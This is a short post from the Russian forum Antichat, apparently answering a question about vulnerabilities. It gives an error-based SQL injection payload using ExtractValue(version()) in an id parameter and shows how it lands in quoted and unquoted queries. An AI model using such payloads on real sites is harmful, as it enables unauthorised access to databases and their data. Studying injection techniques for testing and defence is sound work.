Форум АНТИЧАТ - Показать сообщение отдельно - Ваши вопросы по уязвимостям.

Если запрос что то типо:

Цитата:

Сообщение от None

?id=123+%27+or(ExtractValue(1,version()))+--+\

то как вариант вывод при уязвимом параметре не обремененном кавычками

Цитата:

Сообщение от None

select * from users where id=123 '' or(ExtractValue(1,version())) -- \

т.е получается как SQLI можно разкрутить, второй пример как вариант обремененными кавычками:

Цитата:

Сообщение от None

select * from users where id=
'
123 '' or(ExtractValue(1,version())) -- \
'

т.е можно разкрутить как ErrorBased